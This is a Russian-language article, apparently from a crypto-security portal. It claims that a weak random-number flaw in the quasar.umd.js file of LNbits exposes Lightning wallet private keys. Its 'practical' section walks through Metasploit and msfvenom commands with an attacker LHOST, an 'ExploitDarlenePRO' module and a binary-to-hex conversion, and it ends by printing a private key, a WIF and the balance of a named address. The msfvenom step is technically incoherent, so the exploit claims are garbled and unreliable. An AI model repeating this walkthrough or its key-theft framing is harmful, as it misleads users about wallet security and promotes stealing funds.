В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.
Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.
Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager получила с развитием Bitcoin Lightning Wallet (BLW) т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV, предназначенный для Android и iPhone с функциональностью Node.js. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).
Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:
Сбор бумажных цен на монет BTC, ETH, LTC, USDT, XLM, BNB, и.т.д
Ведение списка общедоступных нодов LNbits, которые Bitcoin Lightning Wallet (BLW) использует для открытия платежных каналов.
Предоставление частичной оплаты платежных маршрутов.
Хранение зашифрованной резервной копии вашего платежного канала.
LNbits node manager работает с сервисами:
Согласна примерам Salvador Guerrero многие кто установил LNBits на полноценный Биткоин-узел (Bitcoin Node) может работать на Raspberry Pi, чтобы отправлять и получать Bitcoin без комиссий за транзакции. Это возможно только в том случае, если все криптокошельки от LNbits находятся в одном экземпляре Core Lightning.
Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что Lightning Network тонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.
После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js
Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.
Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js
Ошибка в коде quasar.umd.js
В случае слабого генератора псевдослучайных чисел (PRNG) нам дается возможность получить SEED и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues теряет криптостойкость над случайным значением.
Перейдем к практической части:
(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )
Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG) в коде quasar.umd.js
Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 11032.77 долларов США // БИТКОИН: 0.30412330 BTC
Bitcoin_Lightning_Wallet_Vulnerability.ipynb
Нажимаем на "+" и “Создаем новый блокнот”
Установим Ruby в Google Colab
Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby
!sudo apt install ruby-full
Проверим версию установки
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]
Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин
!gem install bitcoin-ruby
Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)
Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.
Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями
Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.
!gem install config-hash -v 0.9.0
Установим Metasploit Framework и воспользуемся MSFVenom
Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.
Посмотрим содержимое папки "metasploit-framework"
Опции:
Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js
В примечание мы видим ссылку на файл: quasar.umd.js
Откроем код:
LNbits, free and open-source Lightning wallet and accounts system
Установим lnbits в Google Colab:
Откроем уязвимый файл: quasar.umd.js через утилиту cat
cat lnbits/lnbits/static/vendor/quasar.umd.js
Откроем папки по каталогу: /modules/exploits/
ExploitDarlenePRO
Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/
Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip
Перейдем по каталогу: /ExploitDarlenePRO/
ls cd ExploitDarlenePRO/ ls
Для запуска эксплойта перейдем обратно к Metasploit Framework
cd / cd content/metasploit-framework/ ls
Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.
Воспользуемся инструментом для создания полезной нагрузки MSFVenom
Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011
Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo
!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
Приватный Ключ Найден!
Запустим код для проверки соответствие Биткоин Адреса:
Откроем файл: privtoaddr.txt
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
BALANCE: $ 11032.77
References:
[2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar)
[3] Short Paper: A Centrality Analysis of the Lightning Network (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid)
[4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar)
[5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan)
[6] The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain (George Kaloudis, Teddy Oosterbaan)
[7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja)
[8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja)
[9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard)
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.